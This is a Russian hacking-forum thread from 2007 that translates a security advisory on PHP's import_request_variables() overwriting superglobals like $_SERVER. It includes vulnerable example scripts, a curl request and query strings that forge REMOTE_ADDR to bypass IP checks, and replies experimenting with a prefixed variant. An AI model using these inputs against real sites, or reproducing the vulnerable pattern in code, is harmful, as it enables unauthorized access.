[Перевод]Перезапись произвольных переменных через import_request_variables() в PHP

Discussion in 'Статьи' started by NeMiNeM, 29 Mar 2007.

  1. NeMiNeM

    NeMiNeM Elder - Старейшина

    Joined:
    22 Aug 2005
    Messages:
    480
    Likes Received:
    310
    Reputations:
    201
    Перезапись произвольных переменных через import_request_variables() в PHP

    1) Уязвимость: Используя import_request_variables() можно перезаписать $_* и $* (любые переменные PHP).
    2) Дата: 09.03.2007
    3) Под угрозой: PHP >=4.0.7 <=5.2.1
    4) Опасность: Высокая
    5) Производитель: http://www.php.net/
    6) Инструкции/Источник: http://www.wisec.it/vulns.php?id=10
    http://www.wisec.it/vuln_10.txt
    7) Автор: Stefano `wisec` di Paola ([email protected])
    Francesco `ascii` Ongaro ([email protected])
    8) Перевод: NeMiNeM

    I. Вступление
    PHP это скриптовый язык. Поскольку в прошлом PHP включал по умолчанию GLOBALS программисты писали приложения используя этот метод ввода, теперь, когда конфигурации с GLOBALS ON отошли (хотя всё ещё используются многими вэб-хостингами), программисты вместо переписывания кода, сами добавляют патчи для реализации superglobals.

    Такие коды приносили разработчикам больше проблем чем выгод и они решили добавить функцию для безопасного импорта части всего _REQUEST. Эта функция называется import_request_variables() и существует начиная с PHP 4.0.7.


    2. Описание.
    Цитата из справочника по PHP:
    Значит import_request_variables() имитирует register globals on но немножко отличаеться от extract().
    (Мини-разведку import_request_variables() против extract() читаем в конце статьи).
    Они предупреждают нас о префиксе и это правильно: во-первых, без prefix у нас будут такие же проблемы globals on.

    Во-вторых это то, о чём идёт речь в этой инструкции по безопасности: использование фунцкии import_request_variables даёт возможность перезаписать массивы $_GET $_POST $_COOKIE $_FILES $_SERVER $_SESSION и все другие, которые мы не назвали.

    Мы проводим дальнейшие исследование над _FILES и похоже возможно перезаписать массив но мы не уверены что таким образом можно обмануть скрипты загрузки файла.

    Если дать взломщику определённые точки входа (первый аргумент функции это нечувствительная к регистру строка методов ввода которые импортируют. G значит GET, P - Post и C - Cookie), он сможет перезаписать любой внутренний и защищённый массив.

    Как результат, если у вас REGISTER GLOBALS ON вы НАМНОГО больше в безопасности.

    Есть небольшой бонус: как выделено в фрагментах кода в следующем разделе Анализ, символ P будет включать точку входа как POST так и FILES, таким образом import_request_variables('GPC') будет давать глобальную область видимости всего, что указано в GET POST COOKIE и в FILES.

    3. Анализ
    import_request_variables это не новость в уязвимостях: рассмотрим этот журнал изменений за 24 Ноября 2005, PHP 5.1.

    Используя нижеследующий тестовый комплект, запустите скрипт в перезаписываемый каталог внутри корневого каталога, потом через браузер перейдите к файлу test.php и попробуйте.

    testsuite.sh
    Рекомендуемые тесты:
    - test.php?_SERVER=string (перезаписать массив $_SERVER и сделать его строкой)
    - test.php?_SERVER[REMOTE_ADDR]=обход проверки IP клиента
    - test.php?_SERVER[HTTP_REFERER]=обход проверки реферала.
    и т.д.

    Уязвимость в этой строке:
    ./ext/standard/basic_functions.c:pHP_FUNCTION(import_request_variables)
    ./Zend/zend_hash.c:ZEND_API void
    zend_hash_apply_with_arguments(HashTable *ht, apply_func_args_t
    apply_func, int num_args, ...)

    Фрагмент уязвимого кода:
    PHP:
    PHP_FUNCTION(import_request_variables) { 
    [..] 
    if (
    prefix_len == 0) { 
    php_error_docref(NULL TSRMLS_CCE_NOTICE"No prefix specified - 
    possible security hazard"
    ); 

    [..] 
    for (
    types&& *pp++) { 
     switch (*
    p) { 
      case 
    'g': case 'G'
    zend_hash_apply_with_arguments(Z_ARRVAL_P(PG(http_globals)[TRACK_
    VARS_GET
    ]), 
    (
    apply_func_args_tcopy_request_variable2prefixprefix_len);break; 
      case 
    'p': case 'P'
    zend_hash_apply_with_arguments(Z_ARRVAL_P(PG(http_globals)[TRACK_
    VARS_POST
    ]), 
    (
    apply_func_args_tcopy_request_variable2prefixprefix_len); 
    zend_hash_apply_with_arguments(Z_ARRVAL_P(PG(http_globals)[TRACK_
    VARS_FILES
    ]), 
    (
    apply_func_args_tcopy_request_variable2prefixprefix_len); 
    break; 
      case 
    'c': case 'C'
    zend_hash_apply_with_arguments(Z_ARRVAL_P(PG(http_globals)[TRACK_
    VARS_COOKIE
    ]), 
    (
    apply_func_args_tcopy_request_variable2prefixprefix_len);break; 
     } 

    [..] 
    }
    Как видим есть разные точки входа, но "вывод" это глобальная область видимости.

    example.php
    PHP:
    <?php 
    echo 'GLOBALS '.(int)ini_get("register_globals")."n"
    import_request_variables('GPC'); 
    if (
    $_SERVER['REMOTE_ADDR'] != '10.1.1.1') die('Go away!'); 
    echo 
    'Hello admin!'
    ?>
    curl http://URL/example.php?_SERVER[REMOTE_ADDR]=10.1.1.1
    Выдаст вам: Hello admin!


    Дополнение (автор:Francesco 'ascii' Ongaro)

    import_request_variables() против extract()

    Пожалуйста, обратите внимание, что extract() также заменит любую переменную кроме $GLOBALS, но главное отличие в том, что http://it2.php.net/extract не рекомендуют нам использовать extract() против ненадежных данных, например $_GET, ....
    Фактически у extract() есть флажок EXTR_SKIP и если есть конфликт, существующая переменная не перезаписывается.

    Использование extract() с EXTR_SKIP даст нам что-то типа GLOBALS ON но безопаснее в сравнении с тем, что случится если использовать extract($_GET); или import_request_variables('G');

    test1.php
    PHP:
    <?php 
    extract
    ($_GET); 
    print_r($_SERVER); 
    ?>
    Демо: test1.php?SERVER=abc
    Ожидаемый результат: массив _SERVER станет строкой.

    Мораль в том, что небезопасное использование extract() разработчиком будет его ошибкой, но нет надежного использования import_request_variables и это на 100% промах PHP.
    -------------------

    Источники:
    http://security.nnov.ru/news/PHP/import_request_variables.html
    http://security.nnov.ru/Qdocument280.html
    http://security.nnov.ru/Qdocument289.html

    (c) NeMiNeM
    Специально для antichat.ru

    ps: В статье/переводе возможны ошибки. Просьба не кричать, а спокойно указать и исправить :) Спасибо.
     
    #1 NeMiNeM, 29 Mar 2007
    Last edited: 30 Mar 2007
    15 people like this.
  2. blaga

    blaga Elder - Старейшина

    Joined:
    23 Mar 2006
    Messages:
    884
    Likes Received:
    273
    Reputations:
    106
    Ребят пробовал я короче говоря эту тему но вот наткнулся на один косяк...
    PHP:
    <?php  
    echo 'GLOBALS '.(int)ini_get("register_globals")."n";  
    import_request_variables('GPC');  
    if (
    $_SERVER['REMOTE_ADDR'] != '10.1.1.1') die('Go away!');  
    echo 
    'Hello admin!';  
    ?>
    вот это из примера...
    Я попробовал изменить вот так.
    PHP:
    <?php  
    echo 'GLOBALS '.(int)ini_get("register_globals")."n     ";  
    import_request_variables('GPC','r_'); 
    $tmp=$_SERVER['REMOTE_ADDR'] ; 
    if (
    $tmp != '10.1.1.1') die('Go away!');  
    echo 
    'Hello admin!';  
    ?>
    я добавил в функцию import_request_variables('GPC','r_'); еще и префикс r_
    и теперь у меня эта штука не работает при том что я обрашаюсь к скрипту
    test.php?r_tmp=10.1.1.1
     
  3. k1b0rg

    k1b0rg Тут может быть ваша реклама.

    Joined:
    30 Jul 2005
    Messages:
    1,182
    Likes Received:
    399
    Reputations:
    479
    2blaga попробуй
    test.php?r_SERVER[REMOTE_ADDR]=10.1.1.1
     
    1 person likes this.
  4. blaga

    blaga Elder - Старейшина

    Joined:
    23 Mar 2006
    Messages:
    884
    Likes Received:
    273
    Reputations:
    106
    2k1b0rg, пробовал вот так:
    PHP:
    <?php  
    echo 'GLOBALS '.(int)ini_get("register_globals")."n     ";  
    import_request_variables('GPC','r_'); 
    $tmp=$_SERVER['REMOTE_ADDR'] ; 
    if (
    $tmp != '10.1.1.1') die('Go away!');  
    echo 
    'Hello admin!';  
    ?>
    обращался test.php?r_SERVER[REMOTE_ADDR]=10.1.1.1

    и так пробовал:
    PHP:
    <?php  
    echo 'GLOBALS '.(int)ini_get("register_globals")."n     ";  
    import_request_variables('GPC','r_'); 
     
    if (
    $_SERVER['REMOTE_ADDR']  != '10.1.1.1') die('Go away!');  
    echo 
    'Hello admin!';  
    ?>
    обращался так же: test.php?r_SERVER[REMOTE_ADDR]=10.1.1.1

    Ни у кого больше мыслей нет по сабжу?
     
  5. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,193
    Reputations:
    252
    Мда....может каждую дурку с баг репорта на пхп.нет будем сюда выкладывать?
     
  6. blaga

    blaga Elder - Старейшина

    Joined:
    23 Mar 2006
    Messages:
    884
    Likes Received:
    273
    Reputations:
    106
    Это одна из самых серьезных багов в php. Если уметь ими пользоваться то можно очень много уязвимостей найти... Это посерьезнее многих баг описанных на этом форуме...